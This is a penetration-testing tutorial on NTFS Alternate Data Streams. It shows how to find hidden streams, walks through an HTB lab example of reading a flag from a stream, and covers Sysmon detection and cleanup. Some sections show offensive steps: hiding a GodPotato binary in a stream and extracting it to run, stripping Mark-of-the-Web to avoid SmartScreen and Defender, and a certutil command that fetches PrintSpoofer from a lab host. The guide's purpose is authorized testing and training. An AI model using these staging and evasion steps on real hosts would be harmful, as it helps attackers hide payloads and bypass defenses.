FLOW ^: Pentest Workflow

NTFS Alternate Data Streams — Hiding & Finding Hidden Data

Windows NTFS Alternate Data Streams (ADS): what they are, reading and writing them, finding streams other users hid (dir /r, Get-Item -Stream, streams.exe), Mark-of-the-Web, and a worked HTB example of digging a flag out of a stream.

intermediate updated 2026-09-17 streams.exe

← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide

NTFS Alternate Data Streams — Hiding & Finding Hidden Data ris:FileList

[!dashboard] What this is NTFS Alternate Data Streams (ADS) let a file carry extra content that a normal directory listing never shows. On offense, that’s a place to stage a payload off a directory listing and strip Mark-of-the-Web before you run it — a trick usually paired with the Potato Attacks guide once you’ve got a privileged shell. On the other side of the same coin, it’s where CTF flags, credentials, and second-stage tooling get hidden, and where a downloaded file’s origin gets recorded — so knowing how to find a stream matters as much as knowing how to hide one. They’re a legitimate NTFS feature, quietly used (and abused) for both since Windows NT.

What an ADS actually is

On NTFS, every file has at least one data stream — the default (unnamed) stream that holds the content you normally see. NTFS lets you attach additional named streams to the same file. The main file keeps its name and its reported size; the extra streams ride along invisibly.

Syntax: filename:streamname:streamtype

Common stream types:

TypePurpose
$DATAActual data content — by far the most common, and what you’ll use
$INDEX_ALLOCATIONDirectory indexes (attaching this to a name creates a directory-like object)
othersAssorted NTFS metadata streams

Why it matters to both sides of the keyboard:

  • Invisible to normal listings. Plain dir and Explorer don’t show streams — you need dir /r or PowerShell’s -Stream.
  • They don’t change the file’s reported size. The host file still shows its original size; the stream’s bytes aren’t counted.
  • They travel with the file on NTFS, and are silently stripped when the file crosses to FAT32/exFAT, most network shares, email, or an HTTP upload. Handy for evasion; a trap if you rely on a stream surviving a copy.
  • No special permission needed. If you can write the file, you can add a stream to it. Reading one someone else hid just needs read access to the host file, same as normal.

Finding & enumerating streams fas:MagnifyingGlass

This is the question that actually comes up on an engagement or a box: does this file — or this whole directory tree — have anything hidden on it? Plain dir and Explorer will never tell you. Four ways to ask, from the always-available one-liner up to a full-drive sweep.

dir /r — one directory, no tooling required

:: cmd — /r reveals streams next to each file (look for the "file:stream:$DATA" lines)
dir /r C:\Users\Administrator\Desktop

A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named $DATA stream beside it:

                36 hm.txt
                34 hm.txt:root.txt:$DATA

That second line is the whole discovery: hm.txt has a named stream called root.txt. Nothing about the plain 36 hm.txt line hints at it.

dir /s /r — the same thing, recursively

Add /s to walk every subdirectory instead of checking one folder at a time — the reflex to use once you land somewhere and want to sweep the whole profile or drive in one shot:

:: Every file, every subfolder, streams and all — a whole profile in one command
dir /s /r C:\Users\Administrator

:: Narrow the noise: only lines that mention a stream
dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$" | findstr /V /C:"::\$DATA"

The findstr filter matters at scale: every file has its own unnamed ::$DATA stream, and dir /r prints that for every single file — the second findstr /V drops those so only genuinely named streams (the interesting ones) survive.

[!warning]+ dir /s /r is loud and can be slow on a big tree fas:TriangleExclamation Recursing an entire user profile or C:\ is fine on a CTF box; on a real engagement it’s a lot of filesystem I/O and (without the findstr filter above) a wall of output that buries the one line you care about. Scope it to the directories that matter — profile roots, web roots, Temp — rather than reflexively pointing it at C:\.

PowerShell — cleanest output, easiest to filter

# One file
Get-Item C:\Windows\Temp\notes.txt -Stream *

# A whole tree, filtered to only files that actually carry an extra stream —
# prints exactly the file + stream name, nothing else
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
  Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue
} | Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length

The Select-Object at the end is the difference between a readable table (FileName, Stream, Length) and a wall of default property dumps — worth keeping when you’re sweeping anything bigger than a single directory.

Sysinternals streams.exe — purpose-built, no scripting needed

:: Recursive sweep, quiet banner
streams.exe -nobanner -s C:\Users

:: A single file
streams.exe -nobanner C:\Windows\Temp\notes.txt

streams64.exe is the same tool for 64-bit targets if the plain binary won’t run. Not bundled here — grab it from Microsoft’s Sysinternals downloads (or land it via SMB/certutil per the Potato Attacks guide’s delivery section — the same transport tricks apply to any tool, not just potatoes).

Which one to reach for

MethodRecursive?NeedsBest for
dir /rNo (one directory)Nothing — always availableQuick check on a directory you’re already looking at
dir /s /r (+ findstr filter)YesNothing — always availableSweeping a whole profile/tree from cmd with no extra tooling, non-interactive shells
PowerShell Get-Item/Get-ChildItem -StreamOptional (both shown above)PowerShellCleanest, filterable, scriptable output — the one to reach for when you’re already in a PS session
streams.exe / streams64.exeYes (-s)The binary itself (not built in)Purpose-built recursive sweep when you’d rather not write a PowerShell one-liner, or from cmd on a box you don’t want to touch with PowerShell

[!tip]+ In a non-interactive shell (a potato firing one command and exiting) fas:Lightbulb All four work the same way as anything else non-interactive: redirect to a file you can read back. dir /s /r C:\Users\Administrator > ads.txt 2>&1 then type ads.txt — exactly the pattern used throughout the Potato Attacks guide’s field method.


Reading a stream

Once you know the stream’s name (from dir /r or -Stream *), read it:

:: cmd — the classic
more < "C:\Windows\Temp\notes.txt:hidden:$DATA"
# PowerShell — cleanest
Get-Content C:\Windows\Temp\notes.txt -Stream hidden

# notepad opens a named stream directly
notepad C:\Windows\Temp\notes.txt:hidden

[!warning]+ more < needs the redirect — a direct path won’t work fas:TriangleExclamation more C:\path\file.txt:stream (no <) fails; type file.txt:stream also fails on most builds. The reliable cmd form is more < "path:stream", using input redirection rather than passing the ADS path as a normal argument.


Finding hidden data — a worked example

The scenario above (hm.txt with a root.txt:$DATA stream) is a real one, from HTB Jeeves, and it’s the exact shape almost every “hidden flag” or “hidden credential” ADS challenge takes: a small, boring-looking file sitting next to something that matters. Walking through it end to end:

1. You get a shell in a context that can see the file — here, NT AUTHORITY\SYSTEM, reached via the potato chain worked through in the Potato Attacks guide’s field method. If you’re already Administrator/SYSTEM (or it’s just your own file), skip straight to step 2.

2. Sweep for streams instead of trusting a plain dir:

dir /r C:\Users\Administrator\Desktop
 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                     34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes

The hm.txt:root.txt:$DATA line is the tell — a 34-byte stream named root.txt riding on a 36-byte host file that gives no other hint it’s there.

3. Read the stream directly:

more < hm.txt:root.txt

That’s the whole technique — no potato, no privilege escalation needed for this step; the only privilege that mattered was whatever let you read hm.txt in the first place (here, being SYSTEM to reach another user’s Desktop).

4. From a non-interactive shell (a potato firing one command and exiting, a web shell, anything without a live prompt), redirect both the listing and the read to files you can pull back:

:: find it
... "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1"
type C:\Users\kohsuke\ads.txt

:: read it
... "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1"
type C:\Users\kohsuke\flag.txt

[!success]+ The pattern, generalised fas:Lightbulb

  1. dir /r (or the PowerShell/streams.exe sweep) on every directory you land in that you haven’t checked — Desktop, Documents, profile roots, web roots. A tiny file next to something sensitive-sounding is the classic tell.
  2. more < file:stream reads it once you have the stream name. No stream name shown by dir /r? You don’t have one — move on.
  3. No live shell? Redirect the command’s own output to a file (> out.txt 2>&1) and type/pull it back, exactly like any other non-interactive command.

Writing / staging into a stream

The reverse of the above — this is how those hidden files get created in the first place, and how you’d stage your own payload the same way.

:: Hide text
echo secret-loot-here > "C:\Windows\Temp\notes.txt:stash"

:: Stash a binary inside an innocuous host file (NTFS→NTFS copy)
type C:\Tools\GodPotato-NET4.exe > "C:\Windows\Temp\log.txt:g.exe"
# PowerShell staging
Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-here'

[!warning]+ Running an EXE straight from a stream is mostly dead on modern Windows fas:TriangleExclamation Older Windows let you launch a process whose image was an ADS. Current builds block that — start file.txt:g.exe / Start-Process against a stream fails. So use ADS for staging and hiding, then copy the payload back out to a normal file to execute it:

type C:\Tools\GodPotato-NET4.exe > C:\Windows\Temp\log.txt:g.exe   :: hide
more < C:\Windows\Temp\log.txt:g.exe > C:\Windows\Temp\g.exe        :: extract to run
C:\Windows\Temp\g.exe -cmd "cmd /c whoami"

Script and DLL loaders (powershell, wscript/cscript, rundll32, regsvr32) can still be fed from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the Potato Attacks guide for what to do once you’re running as SYSTEM.


Mark-of-the-Web — the ADS you meet every engagement

Every file a browser or Invoke-WebRequest downloads gets a Zone.Identifier stream (Mark-of-the-Web). It’s what makes SmartScreen and Defender treat a file as “from the internet.” Reading it is a forensics staple; stripping it is an evasion staple.

# See where a downloaded file came from (blue-team / OSINT gold — often has the source URL)
Get-Content .\PrintSpoofer64.exe -Stream Zone.Identifier

# Strip MOTW so SmartScreen/Defender stop nagging (two equivalent ways)
Remove-Item .\PrintSpoofer64.exe -Stream Zone.Identifier
Unblock-File .\PrintSpoofer64.exe
:: The stealthiest way to drop MOTW is to never create it: pull the tool with a
:: transport that doesn't write Zone.Identifier (SMB copy, certutil), not a browser.
certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe

Removing a stream

# Delete just one stream, keep the file
Remove-Item C:\Windows\Temp\notes.txt -Stream stash
:: cmd has no native single-stream delete — round-trip through a non-NTFS
:: filesystem (copy off to FAT/exFAT and back) strips every stream at once.

Detection, OPSEC & cleanup fas:Shield

[!danger] Authorised testing only fas:TriangleExclamation Reading another user’s files (even via a stream) and hiding artefacts on a real host both need explicit authorisation. Track every stream you create, with full paths, and remove it at cleanup.

What the blue team sees:

SignalWhere
New $DATA streams appearing on filesSysmon Event 15 (FileCreateStreamHash)
A downloaded tool’s Zone.Identifier still naming your web serverADS on the artefact itself
Unusual dir /r / Get-Item -Stream * / streams.exe invocations in command-line loggingSysmon Event 1, PowerShell script-block logging

OPSEC notes:

  • ADS defeats a plain dir and a size check, not a defender who runs dir /r / streams.exe — treat it as reduces casual visibility, not invisible.
  • Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don’t assume staging in a stream is silent there.

Cleanup checklist:

Remove-Item C:\Windows\Temp\log.txt -Stream g.exe -ErrorAction SilentlyContinue   # the ADS
Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinue

References fas:BookOpen

TopicSource
NTFS ADS / Mark-of-the-WebMITRE ATT&CK T1564.004 · Sysinternals streams

← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide